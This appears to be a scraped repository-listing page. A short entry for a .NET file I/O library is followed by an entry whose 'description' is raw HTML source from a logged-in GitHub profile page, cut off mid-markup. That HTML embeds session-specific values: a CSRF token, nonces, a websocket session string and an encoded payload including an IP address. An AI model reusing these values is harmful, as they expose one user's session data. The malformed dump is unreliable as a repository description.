Giter Club home page Giter Club logo
  • activescott / lessio

    names.io, This is a library for dealing with File I/O on .NET that overcomes some limitations of .NET's System.IO libraries (such as long path names) and aspires to be platform independent and require less time to ramp up on than System.IO.

    From user activescott

  • chikitang / a

    names.io, !DOCTYPE html> <html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-ksfTgQOOnE+FFXf+yNfVjKSlEckJAdufFIYGK7ZjRhWcZgzAGcmZqqArTgMLpu90FwthqcCX4ldDgKXbmVMeuQ==" rel="stylesheet" href="https://github.githubassets.com/assets/light-92c7d381038e.css" /><link crossorigin="anonymous" media="all" integrity="sha512-1KkMNn8M/al/dtzBLupRwkIOgnA9MWkm8oxS+solP87jByEvY/g4BmoxLihRogKcX1obPnf4Yp7dI0ZTWO+ljg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-d4a90c367f0c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-cZa7DZqvMBwD236uzEunO/G1dvw8/QftyT2UtLWKQFEy0z0eq0R5WPwqVME+3NSZG1YaLJAaIqtU+m0zWf/6SQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-7196bb0d9aaf.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-WVoKqJ4y1nLsdNH4RkRT5qrM9+n9RFe1RHSiTnQkBf5TSZkJEc9GpLpTIS7T15EQaUQBJ8BwmKvwFPVqfpTEIQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-595a0aa89e32.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-XpAMBMSRZ6RTXgepS8LjKiOeNK3BilRbv8qEiA/M3m+Q4GoqxtHedOI5BAZRikCzfBL4KWYvVzYZSZ8Gp/UnUg==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-5e900c04c491.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-3HF2HZ4LgEIQm77yOzoeR20CX1n2cUQlcywscqF4s+5iplolajiHV7E5ranBwkX65jN9TNciHEVSYebQ+8xxEw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-dc71761d9e0b.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-+J8j3T0kbK9/sL3zbkCfPtgYcRD4qQfRbT6xnfOrOTjvz4zhr0M7AXPuE642PpaxGhHs1t77cTtieW9hI2K6Gw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-f89f23dd3d24.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" integrity="sha512-AQeAx5wHQAXNf0DmkvVlHYwA3f6BkxunWTI0GGaRN57GqD+H9tW8RKIKlopLS0qGaC54seFsPc601GDlqIuuHg==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-010780c79c07.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" integrity="sha512-+u5pmgAE0T03d/yI6Ha0NWwz6Pk0W6S6WEfIt8veDVdK8NTjcMbZmQB9XUCkDlrBoAKkABva8HuGJ+SzEpV1Uw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-faee699a0004.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-EAhBCLIJ/pXHG3Y6yQhs9s53SHV80sjJ+yCwlQtfv7LaVkD+VoEuZBZ5betQJFUNj/5qBSfZk5GFtazEDzWLAg==" rel="stylesheet" href="https://github.githubassets.com/assets/primer-10084108b209.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-j4LlGsvrPJxvY8+OWTjZfxsE5dNUiTsSjDrRiYJN24hZSD0fRrKZKtHnFIt1HSPGvNd1XAXX4UWQu+7n30g2KQ==" rel="stylesheet" href="https://github.githubassets.com/assets/global-8f82e51acbeb.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-ws/OpUoggF9K9ooMit55m3zLZc0tylad06U0PD2d0mPaGrdyGa+YTIAGxvVPrke4PWfw/1hdyplewI0dG5RMqw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-c2cfcea54a20.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-EU4iyx/yvfUFbgkpn4fpfcGLGdCO/MAsSFcvCXZ2Z2EW37nQnDHPgt/cXbfA0Tro59XCXEOAzXxFKLLkIuetnw==" rel="stylesheet" href="https://github.githubassets.com/assets/profile-114e22cb1ff2.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-/QgkqjzVefOR3Tj2b+frbSHSVAOEXToMLNi27AqI0et2R/r9L6h5gKl9tEbPuN2sV41z3bAkC0YbPhQSDjak+A==" src="https://github.githubassets.com/assets/runtime-fd0824aa3cd5.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-X+8lM1ka/+ZD419IfxRmavutulfxSofkt+qmxoFdfa0Zp6fBjTUoNaJeZfEK1YdE6ibpcZz/HaOVu2FnHGJ7DA==" src="https://github.githubassets.com/assets/environment-5fef2533591a.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-io+1MvgXPXTw8Kp4eOdNMJl8uGASuw8VfTY5VeIFETaAknimWi8GoxggMEeQ6mq0de4Dest4iIJ/9gUbCo0hgw==" src="https://github.githubassets.com/assets/vendors-node_modules_selector-observer_dist_index_esm_js-8a8fb532f817.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-Es25N4GyPa8Yfp5wpahoe5b2fyPtkRMyR6mKIXyCJC0ocqQazeWvxhGZhx3StRxOfqDfHDR5SS35u/R3Wux6Cg==" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-12cdb93781b2.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-lmiecOIgf+hakg5oKMNM7grVhEDyPoIrT39Px448JJH5PSAaK21PH0Twgyz5O5oi8+dnlLr3Jt8bBCtAcpNdRw==" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed-96689e70e220.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-y67eNkVaNK4RguUGcHOvIbHFlgf1Qje+LDdjVw2eFuuvBOqta2GePz/CwoLIR/PJhhRAj5RPGxCWoomnimSw6w==" src="https://github.githubassets.com/assets/vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js-cbaede36455a.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-6ehrOOu5AOQD8/Lw6TgTsdkj9odsrpi0xWo0vkH3wBR3vIw/Bj/Rxw9wZMfw2qVzdqqF/pCiaJ5f0A/P6HtGrw==" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104-e9e86b38ebb9.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-l//8hwOiwPAmBg0NwsWUYovdQ7/r9kPHiD9/LL4fD3M7El8gbgaOYU5+o6cYLB6puSfOTxyN9M6fE38HSDr2Bw==" src="https://github.githubassets.com/assets/github-elements-97fffc8703a2.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-RVfrK7GqzKgqgrdk4OZy+0LLxAMJ1odMQC1/Qt7SpwSHjE9s4R0/09fu5QvzcQ6XdNZMjJ1Wy8Cr6wL3Q+HCcQ==" src="https://github.githubassets.com/assets/element-registry-4557eb2bb1aa.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-uo73yUZcm4EicwjSbfxFZcKfjWniOxhLBp+q1n7IFRfutFM6/lzbQMgD0Xrxp7QD1HzqdvrV8UclPhi3mEOyzQ==" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-ba8ef7c9465c.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-LWSGAMIPWi+15W2gBjmxbtVqU0DamkrNOQylAjPL8509iKnuWgSLdjylDv3WWm/9p6h2U/D//3i6BiiGFZPXJA==" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3-2d648600c20f.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-0r1nf/rfPz54kyePp4f63bcPxkFo7wyaUZJD/SwIVDK3q0WzurAK9ydOm88tzKtPJm8xWI0Vo25NyCfecwxJ9g==" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd-d2bd677ffadf.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-VK56d0N1hPZ20mOzPoy84zlTGCjGbKKmVvfjoyDqSF+VxTD4f6X8QDs2RgG1R1cdBmsCiea+ZxP6ukV3tHlD+Q==" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537-54ae7a774375.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-318SWYQMEUmWdOuBzC1KdeVyyq5RDCiMNGP7Jh9s/Oz68Yy8e94t8qKxiCnfFKnzfpN3MxrATi7jCQyDv6jh0w==" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_pjax_ts-df5f1259840c.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-2hsYB2KHyayxUJJxJGhXeTeTZZG2c7lzRtO0uB1txmpc7rfvIt4mf0iossT0MHIHknYlaslgi98jmmlVXcXaZQ==" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef-da1b18076287.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-mszhDznUQJHnUG/R5PW8SVIpe08ysmzHfMNnUF9Nu2DlTQ2EI+vzUxDTJ1cUGPr1nRRvsed9bKe1IdZI+1Q4Rg==" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-34e1f7-9acce10f39d4.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-w/t2D/KwutVIcNp5IDznla0td11er/0FLWMQBuZ4+ec53IQDBc4+CztZqlCj/RZ8XDkk/eiECEwiUjXv5UAJnQ==" src="https://github.githubassets.com/assets/behaviors-c3fb760ff2b0.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-O4QCEHjN5g9SG+Bqu36E7RCxy4hi2w3nyDWVsHwc/hUgAMsYntgibQcLNqSrar4T78Dnj0NZgM/C4FhFt8DIag==" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-6e358f-3b84021078cd.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-tuRHxLY6eU4xuxKD8rm7GxWa0B337+gV5cSnivbY1FPmUo4zRUBCbKqs6kvuJsuGj2dg1uz4ajSLTrHDFeADUw==" src="https://github.githubassets.com/assets/notifications-global-b6e447c4b63a.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-QdQXem5u6Zn5fejgHuEVa07Zdffi7rtk2HHG8DZHegrkzMgrrdC5d5spRsxjV/xGF3KSyl3B8FI7xXu77LG2TQ==" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-1424532-41d4177a6e6e.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-fkqJogEq3qR42gMZhv5UupQvBdhPiQIIBomJsm5HYJ6ZzfJjDFdKWsWso3u5eKdEz6b8hhXFjUwnLnK6SkJdhA==" src="https://github.githubassets.com/assets/profile-7e4a89a2012a.js"></script> <title>Your Repositories</title> <meta name="request-id" content="FD00:0DFC:1DF0AC7:313D6B2:62A02226" data-pjax-transient="true" /><meta name="html-safe-nonce" content="980ec10d2da5b506cd46be36dd6e013e8bada887c7553a22c701573bbe482ab0" data-pjax-transient="true" /><meta name="visitor-payload" content="eyJyZWZlcnJlciI6Imh0dHBzOi8vZ2l0aHViLmNvbS9leHBsb3JlIiwicmVxdWVzdF9pZCI6IkZEMDA6MERGQzoxREYwQUM3OjMxM0Q2QjI6NjJBMDIyMjYiLCJ2aXNpdG9yX2lkIjoiNzQ5MzY1NDMzNjA2MzQxMjkzMSIsInJlZ2lvbl9lZGdlIjoiaWFkIiwicmVnaW9uX3JlbmRlciI6ImlhZCJ9" data-pjax-transient="true" /><meta name="visitor-hmac" content="421e7a5a14726f1086d7a9de5370e75ce73e1595c8567ceca4fe9616e47623d9" data-pjax-transient="true" /> <meta name="github-keyboard-shortcuts" content="" data-pjax-transient="true" /> <meta name="selected-link" value="/chikitang" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /><meta name="octolytics-actor-id" content="107093285" /><meta name="octolytics-actor-login" content="chikitang" /><meta name="octolytics-actor-hash" content="1bbae79ef5b27d38ae2058bbe0b8e84e42ca017579fe6b91fb76d14b6a316195" /> <meta name="user-login" content="chikitang"> <meta name="viewport" content="width=device-width"> <meta name="description" content="chikitang has one repository available. Follow their code on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://avatars.githubusercontent.com/u/107093285?v=4?s=400" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary" /><meta name="twitter:title" content="chikitang - Repositories" /><meta name="twitter:description" content="chikitang has one repository available. Follow their code on GitHub." /> <meta property="og:image" content="https://avatars.githubusercontent.com/u/107093285?v=4?s=400" /><meta property="og:image:alt" content="chikitang has one repository available. Follow their code on GitHub." /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="profile" /><meta property="og:title" content="chikitang - Repositories" /><meta property="og:url" content="https://github.com/chikitang" /><meta property="og:description" content="chikitang has one repository available. Follow their code on GitHub." /><meta property="profile:username" content="chikitang" /> <link rel="assets" href="https://github.githubassets.com/"> <link rel="shared-web-socket" href="wss://alive.github.com/_sockets/u/107093285/ws?session=eyJ2IjoiVjMiLCJ1IjoxMDcwOTMyODUsInMiOjg5NTc1NzU0OCwiYyI6MTYzNjI1Mjg2NywidCI6MTY1NDY2MTY3M30=--c25c69ac641d7bef477abc2e101060da9d58d110fdab2b83c67104ea57cb74d1" data-refresh-url="/_alive" data-session-id="0f954fa662a2d554f181d0867897a8c903cfbb09b242250a287b6117e8fa2281"> <link rel="shared-web-socket-src" href="/assets-cdn/worker/socket-worker-b98ccfd9236e.js"> <link rel="sudo-modal" href="/sessions/sudo_modal"> <meta name="hostname" content="github.com"> <meta name="keyboard-shortcuts-preference" content="all"> <script type="application/json" id="memex_keyboard_shortcuts_preference">"all"</script> <meta name="expected-hostname" content="github.com"> <meta name="js-proxy-site-detection-payload" content="ZTEwZDA3YzMzN2IyY2I2ZjU1ZWFkZWNkYmNkM2RlNjAyNWQwYzUwODYwOGU5ODU2MDBjZDYzZjI4OGQ5OWQyOHx7InJlbW90ZV9hZGRyZXNzIjoiNzYuMTM1Ljk2LjIwNSIsInJlcXVlc3RfaWQiOiJGRDAwOjBERkM6MURGMEFDNzozMTNENkIyOjYyQTAyMjI2IiwidGltZXN0YW1wIjoxNjU0NjYxNjczLCJob3N0IjoiZ2l0aHViLmNvbSJ9"> <meta name="enabled-features" content="ACTIONS_CALLABLE_WORKFLOWS,PRESENCE_IDLE,RELEASE_PREV_TAG_PICKER"> <meta http-equiv="x-pjax-version" content="a37df167d895af7f9c4d1b90e97a54af1d17d291209210e78f815dbbd9a85bbc" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="485d6a5ccbb1eeae9c86b616b4870b531f6f458e8bd5c309c40280dc4f51defb" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="560bbf933d6879732c126fa7af06481a25d36e7da91d312b7f44915e69fcdbb9" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="3c347e3ecd4172f21f40b5f945958e9a8b15c3b5c962803de065de8ef0b29900" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview"></meta> <meta name="octolytics-dimension-user_id" content="107093285" /><meta name="octolytics-dimension-user_login" content="chikitang" /> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"> <meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-in env-production page-responsive page-profile mine" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> <a href="#start-of-content" class="p-3 color-bg-accent-emphasis color-fg-on-emphasis show-on-focus js-skip-to-content">Skip to content</a> <span data-view-component="true" class="progress-pjax-loader js-pjax-loader-bar Progress position-fixed width-full"> <span style="width: 0%;" data-view-component="true" class="Progress-item progress-pjax-loader-bar left-0 top-0 color-bg-accent-emphasis"></span> </span> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-vq9xa9mXhnKoPKegD98xDdz3z2QGmpBBTgEdXLjXQWpAHaNrJgMoKO/tWwQg3XrNHOMwbWccPo2ej0RASJ32Jw==" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-098f88-beaf716bd997.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-SqxGVVy+lvF/R0gsWdxjPTIX6BkspUwgKC7GkhrrpHDvTiiYveTazaMKVQ4ZsbyB8PpALQMJVu5FThgLLEa/qQ==" src="https://github.githubassets.com/assets/vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-a39d96-4aac46555cbe.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-+RY85fUZaREgYAhJOwiMFuEzzJ0MYIJJ/e3HrBLNx5mbTvOTWawq9+/XBdBy/omg01kYOA4my0k99ImePtihQQ==" src="https://github.githubassets.com/assets/app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-48ad9d-f9163ce5f519.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-MZKd5uKV0ZulPULi4Ci9ya+diAKnUgu9G0+cTix+XVo6BGYYtTfTaAmIKFNxFkAQKcOCHMJU7itIuu409PIlNg==" src="https://github.githubassets.com/assets/command-palette-31929de6e295.js"></script> <header class="Header js-details-container Details px-3 px-md-4 px-lg-5 flex-wrap flex-md-nowrap" role="banner" > <div class="Header-item mt-n1 mb-n1 d-none d-md-flex"> <a class="Header-link " href="https://github.com/" data-hotkey="g d" aria-label="Homepage " data-turbo="false" data-analytics-event="{&quot;category&quot;:&quot;Header&quot;,&quot;action&quot;:&quot;go to dashboard&quot;,&quot;label&quot;:&quot;icon:logo&quot;}" > <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github v-align-middle"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path> </svg> </a> </div> <div class="Header-item d-md-none"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="Header-link js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path> </svg> </button> </div> <div class="Header-item Header-item--full flex-column flex-md-row width-full flex-order-2 flex-md-order-none mr-0 mt-3 mt-md-0 Details-content--hidden-not-important d-md-flex"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to" > <div class="position-relative"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="User" data-scope-id="107093285" data-scoped-search-url="/users/chikitang/search" data-unscoped-search-url="/search" data-turbo="false" action="/users/chikitang/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search or jump to…" data-unscoped-placeholder="Search or jump to…" data-scoped-placeholder="Search or jump to…" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search or jump to…" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" value="onaOjrBo6ohITGCajPS3asceXniJrPVtVg0W3PjGOVqghJTYE-qvcN961YI7OuNKFtGNfvjgTbQtKVQNyp1O1Q" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <ul class="d-none js-jump-to-suggestions-template-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-suggestion" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="suggestion"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this user"> In this user </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> </ul> <ul class="d-none js-jump-to-no-results-template-container"> <li class="d-flex flex-justify-center flex-items-center f5 d-none js-jump-to-suggestion p-2"> <span class="color-fg-muted">No suggested jump to results</span> </li> </ul> <ul id="jump-to-results" role="listbox" class="p-0 m-0 js-navigation-container jump-to-suggestions-results-container js-jump-to-suggestions-results-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="scoped_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 